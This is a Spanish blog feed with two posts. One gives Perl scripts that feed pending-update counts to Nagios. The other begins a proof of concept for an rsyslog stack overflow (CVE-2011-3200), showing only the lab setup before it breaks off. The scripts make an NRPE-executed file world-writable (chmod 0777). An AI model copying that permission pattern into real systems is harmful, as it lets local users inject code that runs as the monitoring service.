<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-2092564628338741408</id><updated>2012-01-11T05:53:24.690-03:00</updated><category term='spoof'/><category term='linux'/><category term='phishing'/><category term='centos'/><category term='cracking'/><category term='yum'/><category term='lan'/><category term='opensuse'/><category term='login'/><category term='arp'/><category term='malware'/><category term='apt-get'/><category term='IP'/><category term='hosts'/><category term='hacking'/><category term='ubuntu'/><category term='spoffin'/><category term='Facebook'/><category term='redes'/><category term='actualizar'/><category term='DOS'/><title type='text'>Ningún detalle es anecdótico...</title><subtitle type='html'>Mi rincón en la red!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-5961936446171183800</id><published>2011-09-26T23:58:00.000-03:00</published><updated>2011-09-26T23:59:47.465-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='opensuse'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='centos'/><category scheme='http://www.blogger.com/atom/ns#' term='apt-get'/><category scheme='http://www.blogger.com/atom/ns#' term='actualizar'/><category scheme='http://www.blogger.com/atom/ns#' term='yum'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><title type='text'>Ver actualizaciones Ubuntu + CentOS + OpenSuSE</title><content type='html'>Justamente en la entrada anterior veíamos una de las posibles consecuencias de no actualizar el software que utilizamos.&amp;nbsp; Si bien es cierto que actualizar indiscriminadamente puede ser un tanto riesgoso en entornos de producción, (podríamos romper alguna dependencia y dejar inútil una aplicación) actualizar ES NECESARIO!!!&lt;br /&gt;&lt;br /&gt;Actualizar puede ser una tarea simple y hasta divertida cuando se tratan de unos pocos servidores, pero ya no tanto cuando el número comienza a ascender! Por lo tanto la idea de esta entrada es definir un mecanismo que nos permita:&lt;br /&gt;&lt;br /&gt;-Identificar entre actualizaciones de seguridad y el resto.&lt;br /&gt;-Automatizar los avisos de actualizaciones.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;El modelo es el siguiente:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Utilizamos nagios para recolectar y presentar la información.&lt;br /&gt;-No buscaremos actualizaciones cada 5 minutos, las actualizaciones no salen con tanta frecuencia por lo tanto estaríamos consumiendo ancho de banda de manera innecesaria. En el esquema planteado los servidores buscaran sus actualizaciones una vez en el día, y el resto del día mostraran los datos de esa recolección hasta que sean actualizados.&lt;br /&gt;-Tendremos 2 scripts:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;updateNombreDelSO.pl que dependerá del sistema operativo y será el que se ejecute automáticamente una vez al día para recolectar las actualizaciones disponibles. Este script generará el segundo.&lt;/li&gt;&lt;li&gt;check_actualizaciones.sh que será el script que ejecuté nrpe en los servidores, bajo la demanda del servidor corriendo nagios. Este script es la salida del primero, solo imprime la cantidad de actualizaciones pendientes de seguridad y extra, y un código de salida acorde a la situación.&lt;/li&gt;&lt;/ol&gt;-Definimos como CRITICAL la situación en la que existen actualizaciones de seguridad sin aplicar, y como WARNING cuando solamente existen actualizaciones extras (no de seguridad) por aplicar.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;updateUbuntu.pl&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;#!/usr/bin/perl&lt;br /&gt;$STATUS_OK=0;&lt;br /&gt;$STATUS_WARNING=1;&lt;br /&gt;$STATUS_CRITICAL=2;&lt;br /&gt;$STATUS_UNKNOWN=3;&lt;br /&gt;$PATCHS=`/usr/lib/update-notifier/apt-check 2&amp;gt;&amp;amp;1`;&lt;br /&gt;@A=split(';',$PATCHS);&lt;br /&gt;$SALIDA="#!/bin/bash\n";&lt;br /&gt;$EXIT=$STATUS_UNKNOWN;&lt;br /&gt;$FILE="/usr/lib/nagios/plugins/check_actualizaciones.sh";&lt;br /&gt;if($A[0] eq "0" and $A[1] eq "0")&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;open(F,"&amp;gt;$FILE");&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;print F "$SALIDA"."echo \"Existen ".$A[0]." actualizaciones.\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;print F "exit $STATUS_OK";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;close(F);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;chmod (0777,$FILE);&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;exit;&lt;br /&gt;}&lt;br /&gt;if($A[0] &amp;gt; 0)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$SALIDA = $SALIDA . "echo \"ERROR - Existen ".$A[0]." actualizaciones de seguridad y ".$A[1]." extras\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$EXIT = $STATUS_CRITICAL;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$SALIDA = $SALIDA . "echo \"WARNING - Existen ".$A[1]." actualizaciones extras.\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$EXIT = $STATUS_WARNING;&lt;br /&gt;}&lt;br /&gt;open(F,"&amp;gt;$FILE");&lt;br /&gt;print F $SALIDA;&lt;br /&gt;print F "exit $EXIT";&lt;br /&gt;close(F);&lt;br /&gt;chmod (0777,$FILE);&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;El script es bastante, sencillo,&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;"/usr/lib/update-notifier/apt-check"&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt; nos devuelve una linea de la forma act_seguridad;act_extras, que separamos con split y guardamos así el número de actualizaciones de seguridad en $A[0] y el número de actualizaciones extras en $A[1]. Luego de eso simplemente definimos la salida según las actualizaciones que haya para hacer. La salida de este script es un archivo bash con el formato:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;echo "ERROR -&amp;nbsp; Existen 3 actualizaciones de seguridad y 2 extras"&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;exit 2&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;Este archivo es el que ejecutará nrpe cada vez que nagios consulte por el plugin, por lo tanto debemos agregarlo al archivo de configuracion de nrpe:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;#echo "command[check_actualizaciones]=/usr/lib/nagios/plugins/check_actualizaciones.sh"&amp;gt;&amp;gt; /etc/nagios/nrpe.cfg&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;Ahora nos encargamos de que ĺa recolección de actualizaciones se haga una vez al día:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;#echo "@daily root /path/to/script/updateUbuntu.pl" &amp;gt;&amp;gt; /etc/crontab&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;No olvidarse de reiniciar nrpe una vez que se agregue la linea y se ejecute manuelmente por primera vez&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt; "/path/to/script/updateUbuntu.pl".&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size: large;"&gt;updateCentOS.pl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;Para este script necesitamos instalar un agregado de yum, ejecutar como root:&amp;nbsp; "yum -y install yum-security" .&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;#!/usr/bin/perl &lt;br /&gt;&lt;br /&gt;$STATUS_OK=0;&lt;br /&gt;$STATUS_WARNING=1;&lt;br /&gt;$STATUS_CRITICAL=2;&lt;br /&gt;$STATUS_UNKNOWN=3;&lt;br /&gt;&lt;br /&gt;$SALIDA="#!/bin/bash\n";&lt;br /&gt;$EXIT=$STATUS_UNKNOWN;&lt;br /&gt;$FILE="/usr/lib/nagios/plugins/check_actualizaciones.sh";&lt;br /&gt;@PATCHS=`yum -q --security check-update 2&amp;gt;/dev/null`;&lt;br /&gt;&lt;br /&gt;$A[0]=0;&lt;br /&gt;$A[1]=0;&lt;br /&gt;foreach $i (@PATCHS)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$A[0]=$A[0]+1;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;@PATCHS=`yum -q check-update 2&amp;gt;/dev/null`;&lt;br /&gt;foreach $i (@PATCHS)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;$A[1]=$A[1]+1;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;if($A[0] eq "0" and $A[1] eq "0")&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open(F,"&amp;gt;$FILE");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print F "$SALIDA"."echo \"Existen ".$A[0]." actualizaciones.\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print F "exit $STATUS_OK";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; close(F);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; chmod (0777,$FILE);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit;&lt;br /&gt;}&lt;br /&gt;if($A[0] &amp;gt; 0)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $SALIDA = $SALIDA . "echo \"ERROR - Existen ".$A[0]." actualizaciones se seguridad y ".$A[1]." extras\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $EXIT = $STATUS_CRITICAL;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $SALIDA = $SALIDA . "echo \"WARNING - Existen ".$A[1]." actualizaciones extras.\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $EXIT = $STATUS_WARNING;&lt;br /&gt;}&lt;br /&gt;open(F,"&amp;gt;$FILE");&lt;br /&gt;print F $SALIDA;&lt;br /&gt;print F "exit $EXIT";&lt;br /&gt;close(F);&lt;br /&gt;chmod (0777,$FILE);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;Este script mantiene el mismo concepto, salvo que en lugar de ejecutar un solo programa ejecuta dos, el primero obtiene las actualizaciones de seguridad disponibles y el segundo las extras.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt; También debemos agregar la linea en el archivo de configuración de nrpe como se explicó antes, así como también la línea en crontab para la ejecución. Reiniciar nrpe y ejecutarlo manualmente la primera vez.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size: large;"&gt;updateOpenSuSE.pl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;span style="font-size: x-small;"&gt;#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;$STATUS_OK=0;&lt;br /&gt;$STATUS_WARNING=1;&lt;br /&gt;$STATUS_CRITICAL=2;&lt;br /&gt;$STATUS_UNKNOWN=3;&lt;br /&gt;&lt;br /&gt;@PATCHS=`zypper -q lp 2&amp;gt;/dev/null | grep -i needed`;&lt;br /&gt;$FLAG=0;&lt;br /&gt;$c=0;&lt;br /&gt;&lt;br /&gt;$SALIDA="#!/bin/bash\n";&lt;br /&gt;$EXIT=$STATUS_UNKNOWN;&lt;br /&gt;$FILE="/usr/lib/nagios/plugins/check_actualizaciones.sh";&lt;br /&gt;&lt;br /&gt;foreach $i (@PATCHS)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $c=$c+1;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; @aux=split('\|',$i);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; #solo uso los campos 1, 2 y 3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if($i =~ /security/)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; push(@SEGURIDAD,$aux[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; push(@OTROS,$aux[1]);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $FLAG=1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(@SEGURIDAD == 0 and @OTROS == 0)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; open(F,"&amp;gt;$FILE");&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print F "$SALIDA"."echo \"Existen ".@SEGURIDAD." actualizaciones.\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; print F "exit $STATUS_OK";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; close(F);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; chmod (0777,$FILE);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if(@SEGURIDAD &amp;gt; 0)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $SALIDA = $SALIDA . "echo \"ERROR - Existen ".@SEGURIDAD." actualizaciones de seguridad y ".@OTROS." extras\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $EXIT = $STATUS_CRITICAL;&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $SALIDA = $SALIDA . "echo \"WARNING - Existen ".@OTROS." actualizaciones extras.\"\n";&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $EXIT = $STATUS_WARNING;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;open(F,"&amp;gt;$FILE");&lt;br /&gt;print F $SALIDA;&lt;br /&gt;print F "exit $EXIT";&lt;br /&gt;close(F);&lt;br /&gt;chmod (0777,$FILE);&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&lt;span style="font-size: small;"&gt;Nuevamente pero esta vez para openSuSE, también se deben aplicar los puntos de los otros dos casos.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;No voy a incluir la configuración de nagios (por tiempo, ya me dio sueño :P, si alguien la precisa la tengo), pero básicamente consiste en definir un servicio y utilizar nrpe para ejecutar remotamente "check_actualizaciones.sh", de esta forma nagios nos estaría avisando cuántas actualizaciones pendientes tenemos y de qué tipo son.&lt;br /&gt;&lt;br /&gt;Cabe aclarar que si actualizamos un servidor, las alertas no se irán hasta que no se vuelva a hacer la recolección, pero como esto pasa una vez al día estaríamos viendo alertas el resto del día. Por lo tanto recomiendo que una vez actualizado el servidor se ejecute manualmente el archivo de recolección para que las alarmas se vayan :D.&lt;br /&gt;&lt;br /&gt;Concejos, dudas y demás serán bien recibidos!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2092564628338741408-5961936446171183800?l=viviendolared.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://viviendolared.blogspot.com/feeds/5961936446171183800/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://viviendolared.blogspot.com/2011/09/ver-actualizaciones-ubuntu-centos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5961936446171183800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2092564628338741408/posts/default/5961936446171183800'/><link rel='alternate' type='text/html' href='http://viviendolared.blogspot.com/2011/09/ver-actualizaciones-ubuntu-centos.html' title='Ver actualizaciones Ubuntu + CentOS + OpenSuSE'/><author><name>Juan José</name><uri>http://www.blogger.com/profile/13101658690741974139</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_-nrWEUQlmUk/SfCTfenDybI/AAAAAAAAAAM/dewvFFP75qY/S220/land-of-confusion.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2092564628338741408.post-8082074093986666662</id><published>2011-09-12T22:29:00.000-03:00</published><updated>2011-09-12T22:29:35.936-03:00</updated><title type='text'>Prueba de concepto CVE-2011-3200 rsyslog</title><content type='html'>Es una tendencia y una muy buena práctica la centralización de los logs de los equipos. Existen varias opciones, siendo las mas difundidas rsyslog, syslog-ng y syslogd.&lt;br /&gt;En esta entrada vamos a comprobar una vulnerabilidad (debilidad o falta de un control) que fue encontrada hace un par de semanas en el servidor de logs rsyslog.&lt;br /&gt;La vulnerabilidad es básicamente un desbordamiento de pila, provocado por un excesivo tamaño del campo TAG. Este, es uno de los campos que compone un mensaje tipo syslog (RFC3164 http://www.ietf.org/rfc/rfc3164.txt).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;El contexto de pruebas es el siguiente:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;-Servidor rsyslog remoto en la dirección 192.168.206.160 (OpenSuSE 11.3)&lt;br /&gt;-Cliente rsyslog en la dirección 192.168.206.1 (Ubuntu 9.10)&lt;br /&gt;&lt;br /&gt;Software utilizado:&lt;br /&gt;&lt;br /&gt;-rsyslog 5.4.0 en el servidor&lt;br /&gt;-rsyslog 4.2.0 en el cliente&lt;br /&gt;-logger en el cliente&lt;br /&gt;-hping3 en el cliente&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Configurar el servidor rsyslog:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Primeramente configuramos nuestro servidor rsyslog para que reciba mensajes remotos, esto se hace editando el archivos /etc/rsyslog.d/remote.conf y descomentando las siguientes líneas:&lt;br /&gt;&lt;br /&gt;$ModLoad imudp.so&lt;br /&gt;$UDPServerRun 514&lt;br /&gt;&lt;br /&gt;Luego reiniciamos rsyslog, y abrimos el puerto 514 UDP en el firewall para poder recibir los mensajes.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Configurar el cliente rsyslog:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En este ejemplo vamos a indicar al rsyslog que corre en la pc cliente, que envíe al servidor remoto los logs que tengan facility local7 y severity warn (o mayor a warn); agregamos la siguiente linea a /etc/rsyslog.d/50-default.conf&lt;br /&gt;&lt;br /&gt;local7.warn&amp;nbsp;&amp;nbsp;&amp;nbsp; @192.168.206.160&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Probando la configuración con logger:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Logger es una interface de comandos que nos comunica con el sistema de loggin del equipo local. Es decir, logger NO enviará los mensajes al servidor remoto, sino al rsyslog local y este los enviará a donde correspondan.&lt;br /&gt;&lt;br /&gt;logger -p local7.err -d -t Prueba "esto es una prueba"&lt;br /&gt;&lt;br /&gt;Y en la red vemos:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-a5FyhgnaqiM/Tm13LwzeDHI/AAAAAAAAAMw/xziyktn7fUk/s1600/rsyslog_test.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="353" src="http://4.bp.blogspot.com/-a5FyhgnaqiM/Tm13LwzeDHI/AAAAAAAAAMw/xziyktn7fUk/s640/rsyslog_test.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Y del lado del servidor, con tail -f /var/log/messages veremos como llega nuestro mensaje:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-hlzNn7cnjk8/Tm138QWS6NI/AAAAAAAAAM0/VlLUuNdgsD4/s1600/rsyslog_test_servidor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-hlzNn7cnjk8/Tm138QWS6NI/AAAAAAAAAM0/VlLUuNdgsD4/s1600/rsyslog_test_servidor.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Entonces ya tenemos andando nuestro servidor de logs centralizado (.... por decirlo de una manera :P).&lt;br /&gt;&lt;br /&gt;Ahora veamos qué pasa si rompemos la barrera de 